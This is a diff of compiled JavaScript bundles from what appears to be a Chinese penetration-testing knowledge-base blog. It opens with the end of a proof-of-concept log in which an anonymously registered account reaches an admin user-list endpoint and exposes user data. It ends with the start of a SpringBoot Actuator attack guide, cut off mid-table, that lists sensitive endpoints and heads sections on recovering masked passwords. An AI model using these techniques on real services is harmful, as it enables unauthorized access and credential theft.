captcha=50765\n[+] \u6ce8\u518c\u6210\u529f: username=poctestlist01 msg=\u6ce8\u518c\u6210\u529f\n[+] \u767b\u5f55\u6210\u529f userId=01a0492d-25ed-73bf-b946-6f7e9f44c413\n[+] JWT payload: {"deptId":1,"exp":...,"iat":...,"roleId":"001","userId":"01a0492d-..."}\n[+] \u7ba1\u7406\u5458\u63a5\u53e3 /user/list \u8bbf\u95ee\u6210\u529f: \u5171 7 \u4e2a\u7528\u6237\n - poctestlist01 (...)\n - admin (id=01a04893-..., email=simple_admin@gmail.com) \u2190 \u7cfb\u7edf\u5185\u7f6e\u8d85\u7ea7\u7ba1\u7406\u5458\n[+] [\u6f0f\u6d1e\u786e\u8ba4] \u533f\u540d\u6ce8\u518c\u7684\u8d26\u53f7\u53ef\u76f4\u63a5\u83b7\u5f97\u8d85\u7ea7\u7ba1\u7406\u5458\u6743\u9650, \u53ef\u83b7\u53d6\u5168\u90e8\u7528\u6237\u6570\u636e\n'})})]})}function a(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,d.jsx)(n,{...e,children:(0,d.jsx)(h,{...e})}):h(e)}}}]); \ No newline at end of file diff --git a/assets/js/17896441.8ccd3737.js b/assets/js/17896441.8ccd3737.js new file mode 100644 index 0000000..dfa578e --- /dev/null +++ b/assets/js/17896441.8ccd3737.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[8401],{48093:(e,t,s)=>{s.r(t),s.d(t,{default:()=>ce});var n=s(96540),a=s(45500),i=s(89532),o=s(74848);const l=n.createContext(null);function r({children:e,content:t}){const s=function(e){return(0,n.useMemo)(()=>({metadata:e.metadata,frontMatter:e.frontMatter,assets:e.assets,contentTitle:e.contentTitle,toc:e.toc}),[e])}(t);return(0,o.jsx)(l.Provider,{value:s,children:e})}function c(){const e=(0,n.useContext)(l);if(null===e)throw new i.dV("DocProvider");return e}function d(){const{metadata:e,frontMatter:t,assets:s}=c();return(0,o.jsx)(a.be,{title:e.title,description:e.description,keywords:t.keywords,image:s.image??t.image})}var u=s(34164),m=s(24581),h=s(21312),b=s(28774);function x(e){const{permalink:t,title:s,subLabel:n,isNext:a}=e;return(0,o.jsxs)(b.A,{className:(0,u.A)("pagination-nav__link",a?"pagination-nav__link--next":"pagination-nav__link--prev"),to:t,children:[n&&(0,o.jsx)("div",{className:"pagination-nav__sublabel",children:n}),(0,o.jsx)("div",{className:"pagination-nav__label",children:s})]})}function g(e){const{className:t,previous:s,next:n}=e;return(0,o.jsxs)("nav",{className:(0,u.A)(t,"pagination-nav"),"aria-label":(0,h.T)({id:"theme.docs.paginator.navAriaLabel",message:"Docs pages",description:"The ARIA label for the docs pagination"}),children:[s&&(0,o.jsx)(x,{...s,subLabel:(0,o.jsx)(h.A,{id:"theme.docs.paginator.previous",description:"The label used to navigate to the previous doc",children:"Previous"})}),n&&(0,o.jsx)(x,{...n,subLabel:(0,o.jsx)(h.A,{id:"theme.docs.paginator.next",description:"The label used to navigate to the next doc",children:"Next"}),isNext:!0})]})}function v(){const{metadata:e}=c();return(0,o.jsx)(g,{className:"docusaurus-mt-lg",previous:e.previous,next:e.next})}var p=s(44586),j=s(44070),f=s(17559),_=s(53886),A=s(23025);const N={unreleased:function({siteTitle:e,versionMetadata:t}){return(0,o.jsx)(h.A,{id:"theme.docs.versions.unreleasedVersionLabel",description:"The label used to tell the user that he's browsing an unreleased doc version",values:{siteTitle:e,versionLabel:(0,o.jsx)("b",{children:t.label})},children:"This is unreleased documentation for {siteTitle} {versionLabel} version."})},unmaintained:function({siteTitle:e,versionMetadata:t}){return(0,o.jsx)(h.A,{id:"theme.docs.versions.unmaintainedVersionLabel",description:"The label used to tell the user that he's browsing an unmaintained doc version",values:{siteTitle:e,versionLabel:(0,o.jsx)("b",{children:t.label})},children:"This is documentation for {siteTitle} {versionLabel}, which is no longer actively maintained."})}};function C(e){const t=N[e.versionMetadata.banner];return(0,o.jsx)(t,{...e})}function L({versionLabel:e,to:t,onClick:s}){return(0,o.jsx)(h.A,{id:"theme.docs.versions.latestVersionSuggestionLabel",description:"The label used to tell the user to check the latest version",values:{versionLabel:e,latestVersionLink:(0,o.jsx)("b",{children:(0,o.jsx)(b.A,{to:t,onClick:s,children:(0,o.jsx)(h.A,{id:"theme.docs.versions.latestVersionLinkLabel",description:"The label used for the latest version suggestion link label",children:"latest version"})})})},children:"For up-to-date documentation, see the {latestVersionLink} ({versionLabel})."})}function T({className:e,versionMetadata:t}){const{siteConfig:{title:s}}=(0,p.A)(),{pluginId:n}=(0,j.vT)({failfast:!0}),{savePreferredVersionName:a}=(0,_.g1)(n),{latestDocSuggestion:i,latestVersionSuggestion:l}=(0,j.HW)(n),r=i??(c=l).docs.find(e=>e.id===c.mainDocId);var c;return(0,o.jsxs)("div",{className:(0,u.A)(e,f.G.docs.docVersionBanner,"alert alert--warning margin-bottom--md"),role:"alert",children:[(0,o.jsx)("div",{children:(0,o.jsx)(C,{siteTitle:s,versionMetadata:t})}),(0,o.jsx)("div",{className:"margin-top--md",children:(0,o.jsx)(L,{versionLabel:l.label,to:r.path,onClick:()=>a(l.name)})})]})}function k({className:e}){const t=(0,A.r)();return t.banner?(0,o.jsx)(T,{className:e,versionMetadata:t}):null}function M({className:e}){const t=(0,A.r)();return t.badge?(0,o.jsx)("span",{className:(0,u.A)(e,f.G.docs.docVersionBadge,"badge badge--secondary"),children:(0,o.jsx)(h.A,{id:"theme.docs.versionBadge.label",values:{versionLabel:t.label},children:"Version: {versionLabel}"})}):null}const w={tag:"tag_zVej",tagRegular:"tagRegular_sFm0",tagWithCount:"tagWithCount_h2kH"};function y({permalink:e,label:t,count:s,description:n}){return(0,o.jsxs)(b.A,{rel:"tag",href:e,title:n,className:(0,u.A)(w.tag,s?w.tagWithCount:w.tagRegular),children:[t,s&&(0,o.jsx)("span",{children:s})]})}const B={tags:"tags_jXut",tag:"tag_QGVx"};function I({tags:e}){return(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)("b",{children:(0,o.jsx)(h.A,{id:"theme.tags.tagsListLabel",description:"The label alongside a tag list",children:"Tags:"})}),(0,o.jsx)("ul",{className:(0,u.A)(B.tags,"padding--none","margin-left--sm"),children:e.map(e=>(0,o.jsx)("li",{className:B.tag,children:(0,o.jsx)(y,{...e})},e.permalink))})]})}var V=s(12153);function H(){const{metadata:e}=c(),{editUrl:t,lastUpdatedAt:s,lastUpdatedBy:n,tags:a}=e,i=a.length>0,l=!!(t||s||n);return i||l?(0,o.jsxs)("footer",{className:(0,u.A)(f.G.docs.docFooter,"docusaurus-mt-lg"),children:[i&&(0,o.jsx)("div",{className:(0,u.A)("row margin-top--sm",f.G.docs.docFooterTagsRow),children:(0,o.jsx)("div",{className:"col",children:(0,o.jsx)(I,{tags:a})})}),l&&(0,o.jsx)(V.A,{className:(0,u.A)("margin-top--sm",f.G.docs.docFooterEditMetaRow),editUrl:t,lastUpdatedAt:s,lastUpdatedBy:n})]}):null}var E=s(41422),G=s(65195);const F={tocCollapsibleButton:"tocCollapsibleButton_TO0P",tocCollapsibleButtonExpanded:"tocCollapsibleButtonExpanded_MG3E"};function R({collapsed:e,...t}){return(0,o.jsx)("button",{type:"button",...t,className:(0,u.A)("clean-btn",F.tocCollapsibleButton,!e&&F.tocCollapsibleButtonExpanded,t.className),children:(0,o.jsx)(h.A,{id:"theme.TOCCollapsible.toggleButtonLabel",description:"The label used by the button on the collapsible TOC component",children:"On this page"})})}const D={tocCollapsible:"tocCollapsible_ETCw",tocCollapsibleContent:"tocCollapsibleContent_vkbj",tocCollapsibleExpanded:"tocCollapsibleExpanded_sAul"};function O({toc:e,className:t,minHeadingLevel:s,maxHeadingLevel:n}){const{collapsed:a,toggleCollapsed:i}=(0,E.u)({initialState:!0});return(0,o.jsxs)("div",{className:(0,u.A)(D.tocCollapsible,!a&&D.tocCollapsibleExpanded,t),children:[(0,o.jsx)(R,{collapsed:a,onClick:i}),(0,o.jsx)(E.N,{lazy:!0,className:D.tocCollapsibleContent,collapsed:a,children:(0,o.jsx)(G.A,{toc:e,minHeadingLevel:s,maxHeadingLevel:n})})]})}const U={tocMobile:"tocMobile_ITEo"};function P(){const{toc:e,frontMatter:t}=c();return(0,o.jsx)(O,{toc:e,minHeadingLevel:t.toc_min_heading_level,maxHeadingLevel:t.toc_max_heading_level,className:(0,u.A)(f.G.docs.docTocMobile,U.tocMobile)})}var S=s(67763);function W(){const{toc:e,frontMatter:t}=c();return(0,o.jsx)(S.A,{toc:e,minHeadingLevel:t.toc_min_heading_level,maxHeadingLevel:t.toc_max_heading_level,className:f.G.docs.docTocDesktop})}var z=s(51107),$=s(2697);function J({children:e}){const t=function(){const{metadata:e,frontMatter:t,contentTitle:s}=c();return t.hide_title||void 0!==s?null:e.title}();return(0,o.jsxs)("div",{className:(0,u.A)(f.G.docs.docMarkdown,"markdown"),children:[t&&(0,o.jsx)("header",{children:(0,o.jsx)(z.A,{as:"h1",children:t})}),(0,o.jsx)($.A,{children:e})]})}var Q=s(44718),X=s(99169),Y=s(86025);function Z(e){return(0,o.jsx)("svg",{viewBox:"0 0 24 24",...e,children:(0,o.jsx)("path",{d:"M10 19v-5h4v5c0 .55.45 1 1 1h3c.55 0 1-.45 1-1v-7h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0l-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1h3c.55 0 1-.45 1-1z",fill:"currentColor"})})}const q={breadcrumbHomeIcon:"breadcrumbHomeIcon_YNFT"};function K(){const e=(0,Y.Ay)("/");return(0,o.jsx)("li",{className:"breadcrumbs__item",children:(0,o.jsx)(b.A,{"aria-label":(0,h.T)({id:"theme.docs.breadcrumbs.home",message:"Home page",description:"The ARIA label for the home page in the breadcrumbs"}),className:"breadcrumbs__link",href:e,children:(0,o.jsx)(Z,{className:q.breadcrumbHomeIcon})})})}var ee=s(5260);function te(e){const t=function({breadcrumbs:e}){const{siteConfig:t}=(0,p.A)();return{"@context":"https://schema.org","@type":"BreadcrumbList",itemListElement:e.filter(e=>e.href).map((e,s)=>({"@type":"ListItem",position:s+1,name:e.label,item:`${t.url}${e.href}`}))}}({breadcrumbs:e.breadcrumbs});return(0,o.jsx)(ee.A,{children:(0,o.jsx)("script",{type:"application/ld+json",children:JSON.stringify(t)})})}const se={breadcrumbsContainer:"breadcrumbsContainer_Z_bl"};function ne({children:e,href:t,isLast:s}){const n="breadcrumbs__link";return s?(0,o.jsx)("span",{className:n,children:e}):t?(0,o.jsx)(b.A,{className:n,href:t,children:(0,o.jsx)("span",{children:e})}):(0,o.jsx)("span",{className:n,children:e})}function ae({children:e,active:t}){return(0,o.jsx)("li",{className:(0,u.A)("breadcrumbs__item",{"breadcrumbs__item--active":t}),children:e})}function ie(){const e=(0,Q.OF)(),t=(0,X.Dt)();return e?(0,o.jsxs)(o.Fragment,{children:[(0,o.jsx)(te,{breadcrumbs:e}),(0,o.jsx)("nav",{className:(0,u.A)(f.G.docs.docBreadcrumbs,se.breadcrumbsContainer),"aria-label":(0,h.T)({id:"theme.docs.breadcrumbs.navAriaLabel",message:"Breadcrumbs",description:"The ARIA label for the breadcrumbs"}),children:(0,o.jsxs)("ul",{className:"breadcrumbs",children:[t&&(0,o.jsx)(K,{}),e.map((t,s)=>{const n=s===e.length-1,a="category"===t.type&&t.linkUnlisted?void 0:t.href;return(0,o.jsx)(ae,{active:n,children:(0,o.jsx)(ne,{href:a,isLast:n,children:t.label})},s)})]})})]}):null}var oe=s(86896);const le={docItemContainer:"docItemContainer_Djhp",docItemCol:"docItemCol_VOVn"};function re({children:e}){const t=function(){const{frontMatter:e,toc:t}=c(),s=(0,m.l)(),n=e.hide_table_of_contents,a=!n&&t.length>0;return{hidden:n,mobile:a?(0,o.jsx)(P,{}):void 0,desktop:!a||"desktop"!==s&&"ssr"!==s?void 0:(0,o.jsx)(W,{})}}(),{metadata:s}=c();return(0,o.jsxs)("div",{className:"row",children:[(0,o.jsxs)("div",{className:(0,u.A)("col",!t.hidden&&le.docItemCol),children:[(0,o.jsx)(oe.A,{metadata:s}),(0,o.jsx)(k,{}),(0,o.jsxs)("div",{className:le.docItemContainer,children:[(0,o.jsxs)("article",{children:[(0,o.jsx)(ie,{}),(0,o.jsx)(M,{}),t.mobile,(0,o.jsx)(J,{children:e}),(0,o.jsx)(H,{})]}),(0,o.jsx)(v,{})]})]}),t.desktop&&(0,o.jsx)("div",{className:"col col--3",children:t.desktop})]})}function ce(e){const t=`docs-doc-id-${e.content.metadata.id}`,s=e.content;return(0,o.jsx)(r,{content:e.content,children:(0,o.jsxs)(a.e3,{className:t,children:[(0,o.jsx)(d,{}),(0,o.jsx)(re,{children:(0,o.jsx)(s,{})})]})})}}}]); \ No newline at end of file diff --git a/assets/js/17b9faf3.86344ea3.js b/assets/js/17b9faf3.86344ea3.js new file mode 100644 index 0000000..1e95193 --- /dev/null +++ b/assets/js/17b9faf3.86344ea3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4990],{28453:(n,e,t)=>{t.d(e,{R:()=>l,x:()=>d});var r=t(96540);const s={},i=r.createContext(s);function l(n){const e=r.useContext(i);return r.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(s):n.components||s:l(n.components),r.createElement(i.Provider,{value:e},n.children)}},99597:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>c,contentTitle:()=>d,default:()=>h,frontMatter:()=>l,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/README","title":"SpringBoot\u6e17\u900f","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/02.SpringBoot\u6e17\u900f/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/02.SpringBoot\u6e17\u900f","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/SpringBoot\u6e17\u900f/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/05.\u6e17\u900f\u624b\u6cd5/02.SpringBoot\u6e17\u900f/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/\u67d0\u5927\u5b66\u6e17\u900f\u6d4b\u8bd5/"},"next":{"title":"JS\u8fd8\u539f","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u6e17\u900f\u624b\u6cd5/JS\u8fd8\u539f/"}}');var s=t(74848),i=t(28453);const l={},d="SpringBoot\u6e17\u900f",c={},o=[{value:"Actuator",id:"actuator",level:2},{value:"Endpoint\u7aef\u70b9\u4ecb\u7ecd",id:"endpoint\u7aef\u70b9\u4ecb\u7ecd",level:3},{value:"SpringBoot Actuator\u4f7f\u7528\u53ca\u914d\u7f6e",id:"springboot-actuator\u4f7f\u7528\u53ca\u914d\u7f6e",level:3},{value:"ENV",id:"env",level:3},{value:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e00)",id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e00",level:4},{value:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e8c)",id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e8c",level:4},{value:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u4e09)<del>\uff08\u6682\u672a\u590d\u73b0\uff09</del>",id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u4e09\u6682\u672a\u590d\u73b0",level:4},{value:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587 (\u65b9\u6cd5\u56db)<del>\uff08\u6682\u672a\u590d\u73b0\uff09</del>",id:"\u83b7\u53d6\u88ab\u661f\u53f7\u8131\u654f\u7684\u5bc6\u7801\u7684\u660e\u6587-\u65b9\u6cd5\u56db\u6682\u672a\u590d\u73b0",level:4}];function a(n){const e={a:"a",blockquote:"blockquote",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...n.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(e.header,{children:(0,s.jsx)(e.h1,{id:"springboot\u6e17\u900f",children:"SpringBoot\u6e17\u900f"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(e.tbody,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{style:{textAlign:"left"},children:(0,s.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:35:10"})]})})]}),"\n",(0,s.jsx)(e.h1,{id:"springboot\u6e17\u900f-1",children:"SpringBoot\u6e17\u900f"}),"\n",(0,s.jsxs)(e.blockquote,{children:["\n",(0,s.jsx)(e.p,{children:"\u65e5\u5e38\u6e17\u900f\u8fc7\u7a0b\u4e2d\uff0c\u7ecf\u5e38\u4f1a\u78b0\u5230SpringBoot\u642d\u5efa\u7684\u5fae\u670d\u52a1\uff08API\u5c45\u591a\uff09,\u9488\u5bf9\u6027\u7684\u505a\u4e86\u4e00\u4e2a\u603b\u7ed3\u3002"}),"\n"]}),"\n",(0,s.jsx)(e.p,{children:"Springboot\u7684\u786e\u5b9a\u8fd8\u662f\u5f88\u597d\u786e\u5b9a\u7684\uff0c\u5b83\u7684\u51fa\u9519\u4e00\u822c\u957f\u8fd9\u6837\uff0c\u78b0\u5230\u8fd9\u4e2a\u5927\u81f4\u5c31\u662fspringboot\u4e86"}),"\n",(0,s.jsx)(e.p,{children:(0,s.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191645212.png",alt:"image-20240124004206952"})}),"\n",(0,s.jsx)(e.h2,{id:"actuator",children:"Actuator"}),"\n",(0,s.jsx)(e.p,{children:"Actuator\u662fSpringBoot\u9879\u76ee\u4e2d\u4e00\u4e2a\u975e\u5e38\u5f3a\u5927\u4e00\u4e2a\u529f\u80fd\uff0c\u6709\u52a9\u4e8e\u5bf9\u5e94\u7528\u7a0b\u5e8f\u8fdb\u884c\u76d1\u89c6\u548c\u7ba1\u7406\uff0c\u901a\u8fc7restful api\u8bf7\u6c42\u6765\u76d1\u7ba1\u3001\u5ba1\u8ba1\u3001\u6536\u96c6\u5e94\u7528\u7684\u8fd0\u884c\u60c5\u51b5\u3002"}),"\n",(0,s.jsx)(e.p,{children:"Actuator\u7684\u6838\u5fc3\u662f\u7aef\u70b9Endpoint\uff0c\u5b83\u7528\u6765\u76d1\u89c6\u5e94\u7528\u7a0b\u5e8f\u53ca\u4ea4\u4e92\uff0cspring-boot-actuator\u4e2d\u5df2\u7ecf\u5185\u7f6e\u4e86\u975e\u5e38\u591a\u7684Endpoint\uff08health\u3001info\u3001beans\u3001metrics\u3001httptrace\u3001shutdown\u7b49\u7b49\uff09\uff0c\u540c\u65f6\u4e5f\u5141\u8bb8\u6211\u4eec\u81ea\u5df1\u6269\u5c55\u81ea\u5df1\u7684Endpoints\u3002"}),"\n",(0,s.jsx)(e.p,{children:"\u6bcf\u4e2aEndpoint\u90fd\u53ef\u4ee5\u542f\u7528\u548c\u7981\u7528\u3002\u8981\u8fdc\u7a0b\u8bbf\u95eeEndpoint\uff0c\u8fd8\u5fc5\u987b\u901a\u8fc7JMX\u6216HTTP\u8fdb\u884c\u66b4\u9732\uff0c\u5927\u90e8\u5206\u5e94\u7528\u9009\u62e9HTTP\uff0cEndpoint \u7684ID\u9ed8\u8ba4\u6620\u5c04\u5230\u4e00\u4e2a\u5e26/actuator\u524d\u7f00\u7684URL\u3002\u4f8b\u5982\uff0chealth\u7aef\u70b9\u9ed8\u8ba4\u6620\u5c04\u5230/actuator/health\u3002"}),"\n",(0,s.jsx)(e.h3,{id:"endpoint\u7aef\u70b9\u4ecb\u7ecd",children:"Endpoint\u7aef\u70b9\u4ecb\u7ecd"}),"\n",(0,s.jsx)(e.p,{children:"Actuator\u7684\u6838\u5fc3\u5c31\u662fEndpoint\uff0c\u6bcf\u4e00\u4e2aEndpoint\u90fd\u4ee3\u8868\u7740\u76d1\u63a7\u67d0\u4e00\u9879\u6570\u636e\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(e.table,{children:[(0,s.jsx)(e.thead,{children:(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.th,{children:"\u7aef\u70b9"}),(0,s.jsx)(e.th,{children:"\u63cf\u8ff0"})]})}),(0,s.jsxs)(e.tbody,{children:[(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"auditevents"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5f53\u524d\u5e94\u7528\u66b4\u9732\u7684\u5ba1\u8ba1\u4e8b\u4ef6\u4fe1\u606f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"beans"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5e94\u7528\u4e2d\u6240\u6709\u7684 Spring Beans \u7684\u5b8c\u6574\u5173\u7cfb\u5217\u8868"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"caches"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u516c\u5f00\u53ef\u4ee5\u7528\u7684\u7f13\u5b58"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"conditions"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u81ea\u52a8\u914d\u7f6e\u6761\u4ef6\u4fe1\u606f\uff0c\u8bb0\u5f55\u54ea\u4e9b\u81ea\u52a8\u914d\u7f6e\u6761\u4ef6\u901a\u8fc7\u548c\u6ca1\u901a\u8fc7\u7684\u539f\u56e0"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"configprops"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u6240\u6709\u914d\u7f6e\u5c5e\u6027\uff0c\u5305\u62ec\u9ed8\u8ba4\u914d\u7f6e\uff0c\u663e\u793a\u4e00\u4e2a\u6240\u6709 @ConfigurationProperties \u7684\u6574\u7406\u5217\u7248\u672c"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"env"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u6240\u6709\u73af\u5883\u53d8\u91cf"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"flyway"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5df2\u5e94\u7528\u7684\u6240\u6709Flyway\u6570\u636e\u5e93\u8fc1\u79fb\u4fe1\u606f\uff0c\u9700\u8981\u4e00\u4e2a\u6216\u591a\u4e2a Flyway Bean"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"liquibase"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5df2\u5e94\u7528\u7684\u6240\u6709Liquibase\u6570\u636e\u5e93\u8fc1\u79fb\u3002\u9700\u8981\u4e00\u4e2a\u6216\u591a\u4e2a Liquibase Bean"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"health"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5e94\u7528\u7a0b\u5e8f\u5065\u5eb7\u6307\u6807\uff08\u8fd0\u884c\u72b6\u51b5\u4fe1\u606f\uff09"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"httptrace"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6HTTP\u8ddf\u8e2a\u4fe1\u606f\uff08\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u6700\u8fd1100\u4e2aHTTP\u8bf7\u6c42-\u54cd\u5e94\u4ea4\u6362\uff09\u3002\u9700\u8981 HttpTraceRepository Bean"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"info"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u5e94\u7528\u7a0b\u5e8f\u4fe1\u606f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"integrationgraph"}),(0,s.jsx)(e.td,{children:"\u663e\u793a Spring Integration \u56fe\u3002\u9700\u8981\u4f9d\u8d56 spring-integration-core"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"loggers"}),(0,s.jsx)(e.td,{children:"\u663e\u793a\u548c\u4fee\u6539\u5e94\u7528\u7a0b\u5e8f\u4e2d\u65e5\u5fd7\u7684\u914d\u7f6e"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"logfile"}),(0,s.jsx)(e.td,{children:"\u8fd4\u56de\u65e5\u5fd7\u6587\u4ef6\u7684\u5185\u5bb9\uff08\u5982\u679c\u5df2\u8bbe\u7f6elogging.file.name\u6216logging.file.path\u5c5e\u6027\uff09"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"metrics"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u7cfb\u7edf\u5ea6\u91cf\u6307\u6807\u4fe1\u606f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"mappings"}),(0,s.jsx)(e.td,{children:"\u663e\u793a\u6240\u6709@RequestMapping\u8def\u5f84\u7684\u6574\u7406\u5217\u8868"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"scheduledtasks"}),(0,s.jsx)(e.td,{children:"\u663e\u793a\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684\u8ba1\u5212\u4efb\u52a1"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"sessions"}),(0,s.jsx)(e.td,{children:"\u5141\u8bb8\u4eceSpring Session\u652f\u6301\u7684\u4f1a\u8bdd\u5b58\u50a8\u4e2d\u68c0\u7d22\u548c\u5220\u9664\u7528\u6237\u4f1a\u8bdd\u3002\u9700\u8981\u4f7f\u7528Spring Session\u7684\u57fa\u4e8eServlet\u7684Web\u5e94\u7528\u7a0b\u5e8f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"shutdown"}),(0,s.jsx)(e.td,{children:"\u5173\u95ed\u5e94\u7528\uff0c\u8981\u6c42endpoints.shutdown.enabled\u8bbe\u7f6e\u4e3atrue\uff0c\u9ed8\u8ba4\u4e3a false"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"threaddump"}),(0,s.jsx)(e.td,{children:"\u83b7\u53d6\u7cfb\u7edf\u7ebf\u7a0b\u8f6c\u50a8\u4fe1\u606f"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"heapdump"}),(0,s.jsx)(e.td,{children:"\u8fd4\u56dehprof\u5806\u8f6c\u50a8\u6587\u4ef6"})]}),(0,s.jsxs)(e.tr,{children:[(0,s.jsx)(e.td,{children:"jolokia"}),(0,s.jsx)(e.td,{children:"\u901a\u8fc7HTTP\u516c\u5f00JMX 